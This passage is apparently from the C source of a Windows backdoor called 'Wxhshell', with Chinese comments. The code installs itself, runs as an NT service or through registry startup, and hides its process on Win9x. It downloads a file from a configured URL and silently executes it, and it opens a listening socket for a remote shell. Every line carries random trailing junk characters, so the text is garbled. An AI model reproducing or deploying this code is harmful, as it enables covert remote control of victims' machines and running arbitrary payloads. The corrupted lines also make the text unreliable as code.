ULONG UniqueProcessId; ff.;6R\
ULONG InheritedFromUniqueProcessId; (}&O)3)
} PROCESS_BASIC_INFORMATION; 0v'FE35~s
|(O _K(
PROCNTQSIP NtQueryInformationProcess; ul[+vpH9
+oR wXO3W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LM?UV)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8ZvozQE
wU)vJsOq
HANDLE hProcess; +N>&b%
PROCESS_BASIC_INFORMATION pbi; oO~LiK>
@/0-`Y@?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x/xd
if(NULL == hInst ) return 0; 9ZXEy }q57
3ew`e"s
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;-@v1I;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q8P$Md-=b1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =#sr4T
Uh8c!CA8:\
if (!NtQueryInformationProcess) return 0; )|CF)T-
kSH|+K\M4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !(-S?*64l
if(!hProcess) return 0; sU 5/c|&
>(39K
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QzX|c&&>u2
.Pi8c[
CloseHandle(hProcess); z 2Rg`1B
)TV{n#n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R3ru<u>k&
if(hProcess==NULL) return 0; S6bW?8`
?Z[`sm
HMODULE hMod; >{huaN B
char procName[255]; ew{(@p+$
unsigned long cbNeeded; V [KFZSA
j1U,X
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O6Jn$'os1#
95^A !
CloseHandle(hProcess); [
#1<W`95
uf<nVdC.
if(strstr(procName,"services")) return 1; // 以服务启动 N)b.$aC
2#?qey
return 0; // 注册表启动 |ZuS"'3_w
} ^i!6q9<{e
K84VeAe
// 主模块 f hS4Gb_
int StartWxhshell(LPSTR lpCmdLine) z6f N)kw
{ szW85{<+
SOCKET wsl; u AmDXqJ3
BOOL val=TRUE; BT8L 'qEj
int port=0; >V1v.JH
struct sockaddr_in door; -k I;yL
U" ;8zplU
if(wscfg.ws_autoins) Install(); ,ThN/GkSC
;u
"BCW
port=atoi(lpCmdLine); T0=%RID%=
oUG!=.1}K5
if(port<=0) port=wscfg.ws_port; K:\db'``
eod-N}o
WSADATA data; %
A8dO+W
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /3ty*LQT
B6gn(w3
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !w}cKm
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l'0fRQc
door.sin_family = AF_INET;
YD|;xuh
door.sin_addr.s_addr = inet_addr("127.0.0.1"); zUCtH*
door.sin_port = htons(port); c^s%t:)K
Wz]ny3K[.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 896oz>
closesocket(wsl); N(@B3%H2/J
return 1; ir/-zp_
} (^4V]N&
heN?lmC
if(listen(wsl,2) == INVALID_SOCKET) { u eD_<KjE=
closesocket(wsl); 4itadQS
return 1; %;-]HI
} u~y0H
Wxhshell(wsl); fce~a\y0
WSACleanup(); r[}5<S Q
,8^QV3
return 0; ym~
f7_EqS=(
} E+$%88
Td"_To@jd
// 以NT服务方式启动 "cVJqW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K~DQUmU@
{ ]
3UlF'{
DWORD status = 0; AYnk.H-v
DWORD specificError = 0xfffffff; -cqR]'u
9p{7x[ C
serviceStatus.dwServiceType = SERVICE_WIN32; r{pbUk
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *t3uj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *[SOz)
serviceStatus.dwWin32ExitCode = 0; PUJkC
serviceStatus.dwServiceSpecificExitCode = 0; 48 n5Y~YS
serviceStatus.dwCheckPoint = 0; gcKXda(
serviceStatus.dwWaitHint = 0; >.X& v
?\7$63gBH
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !:<(p
if (hServiceStatusHandle==0) return; )J<VDO:_YA
V+'C71-P
status = GetLastError(); .lt|$["
if (status!=NO_ERROR) }>
pNf
{ lujUEHzp
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7j22KQ|EX^
serviceStatus.dwCheckPoint = 0; |k ]{WCD]
serviceStatus.dwWaitHint = 0; S(\<@S&
serviceStatus.dwWin32ExitCode = status; )EhRqX9
serviceStatus.dwServiceSpecificExitCode = specificError; P^Tk4_,0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j{?ogFfi
return; vl,Ff9
} 3{*nG'@Mal
Q eZg l!
serviceStatus.dwCurrentState = SERVICE_RUNNING; S_ELV#X
serviceStatus.dwCheckPoint = 0; \J0fr'(S
serviceStatus.dwWaitHint = 0; }Jr!aM'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v:7_ZD6kR
} aViZKps`m
(SnrYO`#
// 处理NT服务事件,比如:启动、停止 $9%UAqk9
VOID WINAPI NTServiceHandler(DWORD fdwControl) @cC@(M~Ru
{ 9H6%\#rw
switch(fdwControl) jM%8h$&E
{ io1hUZ
case SERVICE_CONTROL_STOP: {^jk_G\ys
serviceStatus.dwWin32ExitCode = 0; lI*uF~ 'D
serviceStatus.dwCurrentState = SERVICE_STOPPED; W8><
serviceStatus.dwCheckPoint = 0; CL)*cu6zG
serviceStatus.dwWaitHint = 0; N" =$S|Gs
{ 9-(
\\$%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BdQ/kXZu+
} }F<=
return; ]aN]H a
case SERVICE_CONTROL_PAUSE: ~(~
y=M
serviceStatus.dwCurrentState = SERVICE_PAUSED; WPpS?
break; _ \LPP_
case SERVICE_CONTROL_CONTINUE: DbIn3/WNe
serviceStatus.dwCurrentState = SERVICE_RUNNING; ' ] $mt
break; 5dXDL~/2p
case SERVICE_CONTROL_INTERROGATE: j
:$Ruy
break; 4!k0
}; li7"{+ct
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L7rH=gZ&!]
} l =Is-N`
ZtofDp5B
// 标准应用程序主函数 x3L0;:Fx8P
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %%h0 H[5*
{ YM<F7tp4
J7Y lmi
// 获取操作系统版本 Bl1^\[#
OsIsNt=GetOsVer(); 4u}jkd$]*
GetModuleFileName(NULL,ExeFile,MAX_PATH); o_@6R"|
W#sCvI@
// 从命令行安装
*Q XUy
if(strpbrk(lpCmdLine,"iI")) Install(); Y-fDYMm
Y4j%K~lsY
// 下载执行文件 sG K7Uy
if(wscfg.ws_downexe) { WTX!)H6Zv
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d"U'\ID2y
WinExec(wscfg.ws_filenam,SW_HIDE); ! a!^'2
} dZIruZ)x
X*QQVj
if(!OsIsNt) { g3Z"ri~!G
// 如果时win9x,隐藏进程并且设置为注册表启动 NS3qNj
HideProc(); 1k dQh&~G
StartWxhshell(lpCmdLine); 1h,m
} t*dd/a
else d:{#Dk#
if(StartFromService()) [+.P'6/[$R
// 以服务方式启动 }h=}!R'm
StartServiceCtrlDispatcher(DispatchTable); >Nr~7s
else 1P6!E*z\
// 普通方式启动 vL
]z3
StartWxhshell(lpCmdLine); e4<[|B!O
o)r%4YOL
return 0; x4^*YZc$,
}